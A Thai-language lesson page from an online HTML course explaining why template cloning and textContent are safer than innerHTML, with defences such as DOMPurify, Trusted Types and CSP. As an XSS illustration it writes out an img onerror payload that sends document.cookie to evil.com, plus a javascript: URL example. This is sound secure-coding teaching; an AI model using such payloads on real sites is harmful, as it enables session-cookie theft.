เทมเพลตเทียบกับความปลอดภัยของ innerHTML
ทำความเข้าใจว่าเหตุใดเทมเพลตจึงปลอดภัยกว่าการกำหนดค่าให้ innerHTML
เทมเพลตเทียบกับความปลอดภัยของ innerHTML เป็นบทเรียน HTML Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน HTML Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส HTML Academy มีบทเรียนทั้งหมด 4 บทเรียน
ความเสี่ยงจากการแทรกด้วย innerHTML
การกำหนด el.innerHTML = userInput จะตีความสตริงเป็น HTML หาก userInput มี <script> หรือตัวจัดการเหตุการณ์ เช่น onerror เบราว์เซอร์จะเรียกใช้สิ่งเหล่านั้น ซึ่งทำให้เกิดช่องโหว่การโจมตีแบบสคริปต์ข้ามไซต์ (XSS)
ตัวอย่าง XSS ผ่าน innerHTML
ผู้โจมตีส่งชื่อผู้ใช้: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)"> หากนำสิ่งนี้ไปแสดงด้วย innerHTML เหตุการณ์ onerror จะทำงานและส่งคุกกี้เซสชันออกไป เนื้อหาข้อความจะกลายเป็นโค้ดที่ทำงานได้
textContent ปลอดภัย
el.textContent = userInput จะถือว่าสตริงเป็นข้อความธรรมดา — ไม่มีการแยกวิเคราะห์ HTML และไม่มีการเรียกใช้สคริปต์ เบราว์เซอร์จะทำการหลีกอักขระ < และ > โดยอัตโนมัติในโหนดข้อความ ควรใช้ textContent กับค่าที่ผู้ใช้ส่งมาเสมอ
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;องค์ประกอบ template หลีกเลี่ยงการแยกวิเคราะห์สตริง
เมื่อใช้ template.cloneNode(true) โครงสร้างจะมาจาก template HTML ที่แยกวิเคราะห์ไว้ล่วงหน้า ไม่ใช่จากสตริงที่ผู้ใช้ส่งมา การกำหนดค่าผ่าน textContent บนโหนดที่โคลนแล้วจะเก็บข้อมูลผู้ใช้ไว้ในโหนดข้อความ ไม่ใช่ใน HTML ที่ถูกแยกวิเคราะห์ โครงสร้างและข้อมูลจึงแยกออกจากกัน
การทำความสะอาดเมื่อจำเป็นต้องใช้ innerHTML
หากจำเป็นต้องรองรับการจัดรูปแบบ HTML จากผู้ใช้ (ข้อความที่มีรูปแบบ) ให้ทำความสะอาดก่อนกำหนดค่าให้ innerHTML DOMPurify เป็นไลบรารีมาตรฐาน: el.innerHTML = DOMPurify.sanitize(richHtml) ไลบรารีนี้จะลบแท็กและแอตทริบิวต์อันตรายออก โดยยังคงการจัดรูปแบบที่ปลอดภัยไว้
ความเสี่ยงจาก insertAdjacentHTML
insertAdjacentHTML("beforeend", html) ก็แยกวิเคราะห์สตริง HTML เช่นกัน จึงมีความเสี่ยง XSS แบบเดียวกับ innerHTML ให้ใช้กฎการทำความสะอาดเดียวกัน ทางเลือกที่ปลอดภัยกว่าคือสร้างองค์ประกอบด้วย createElement กำหนด textContent แล้วใช้ appendChild
ความปลอดภัยของ setAttribute
การกำหนดแอตทริบิวต์ด้วยข้อมูลผู้ใช้อาจทำให้เกิดการแทรกโค้ด: el.setAttribute("href", userUrl) เมื่อ userUrl เป็น javascript:alert(1) จะทำให้เกิด XSS ให้ตรวจสอบรูปแบบของ URL โดยอนุญาตเฉพาะ http:, https: และ mailto: ก่อนกำหนดแอตทริบิวต์ href หรือ src
การยึดครอง DOM
การยึดครอง DOM คือการโจมตีที่องค์ประกอบแบบฟอร์มซึ่งมีชื่อ (id="getElementById") เข้ามาแทนที่ตัวแปร JavaScript ระดับโกลบอล ควรเข้าถึงองค์ประกอบผ่าน document.getElementById() แทนคุณสมบัติส่วนกลางของ window เสมอ นโยบายความปลอดภัยเนื้อหายังช่วยลดผลกระทบจากการโจมตีแบบยึดครองได้ด้วย
นโยบาย TrustedTypes
TrustedTypes (Chrome ซึ่งบังคับใช้ผ่าน CSP) กำหนดให้ innerHTML, insertAdjacentHTML และจุดรับข้อมูลลักษณะเดียวกันต้องได้รับสตริงที่ห่อหุ้มด้วยนโยบาย สตริงดิบไม่สามารถนำไปกำหนดค่าได้ — อนุญาตเฉพาะค่าที่สร้างโดยนโยบาย TrustedTypes ที่ประกาศไว้ ซึ่งช่วยป้องกันการข้ามขั้นตอนการทำความสะอาดโดยไม่ตั้งใจ
ความปลอดภัยของ Document Fragment
การสร้างองค์ประกอบด้วย API ของ DOM (createElement, createTextNode) และจัดการองค์ประกอบเหล่านั้นใน DocumentFragment มีความปลอดภัยต่อ XSS โดยพื้นฐาน — ข้อความจะเป็นข้อความเสมอ ไม่ถูกแยกวิเคราะห์เป็น HTML DocumentFragments เป็นวิธีที่ปลอดภัยที่สุดสำหรับสร้างส่วนติดต่อผู้ใช้แบบไดนามิกที่ซับซ้อน
นโยบายความปลอดภัยเนื้อหา
CSP ที่เข้มงวด (ไม่ใช้ unsafe-inline และใช้สคริปต์แบบ nonce) เป็นการป้องกันเพิ่มเติมจาก XSS แม้ผู้โจมตีจะแทรก HTML ได้ แต่ CSP จะป้องกันไม่ให้สคริปต์ที่แทรกเข้ามาทำงาน CSP ไม่ได้ทำให้ไม่จำเป็นต้องทำความสะอาดข้อมูล — เป็นเพียงเกราะป้องกัน ไม่ใช่การป้องกันหลัก
ตรวจสอบความรู้
เหตุใด textContent จึงปลอดภัยกว่า innerHTML เมื่อนำข้อมูลที่ผู้ใช้ส่งมาแสดงผล
สรุป
innerHTML และ API ที่เกี่ยวข้องจะแยกวิเคราะห์สตริง HTML ซึ่งทำให้เกิดช่องโหว่ XSS เมื่อแทรกข้อมูลผู้ใช้โดยไม่ทำความสะอาด การใช้ textContent การโคลน template แล้วเติมข้อมูลด้วย textContent การใช้ DOMPurify สำหรับข้อความที่มีรูปแบบ และการใช้ Content Security Policy จะสร้างการป้องกันแบบหลายชั้นต่อการโจมตีด้วยการแทรก HTML
คำถามที่พบบ่อย
บทเรียน “เทมเพลตเทียบกับความปลอดภัยของ innerHTML” ฟรีหรือไม่
ใช่ — ข้อความเต็มของ “เทมเพลตเทียบกับความปลอดภัยของ innerHTML” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส HTML Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส HTML Academy มีบทเรียนทั้งหมด 4 บทเรียน
คุณจะเรียนรู้อะไรในบทเรียน “เทมเพลตเทียบกับความปลอดภัยของ innerHTML”
ทำความเข้าใจว่าเหตุใดเทมเพลตจึงปลอดภัยกว่าการกำหนดค่าให้ innerHTML คุณปฏิบัติ HTML Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน
คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน HTML Academy หรือไม่
ไม่จำเป็นต้องมีประสบการณ์มาก่อน HTML Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน
บทเรียน “เทมเพลตเทียบกับความปลอดภัยของ innerHTML” ใช้เวลานานแค่ไหน
บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย
ฉันเขียนและรันโค้ดในบทเรียน HTML Academy นี้ได้ไหม
ได้ บทเรียน HTML Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ
บทเรียนทั้งหมดในหลักสูตรนี้
- องค์ประกอบ template: เนื้อหาที่ไม่มีการทำงาน
- โคลนเทมเพลตด้วย cloneNode
- การใช้ template กับการแสดงผลด้วย JavaScript
- เทมเพลตเทียบกับความปลอดภัยของ innerHTML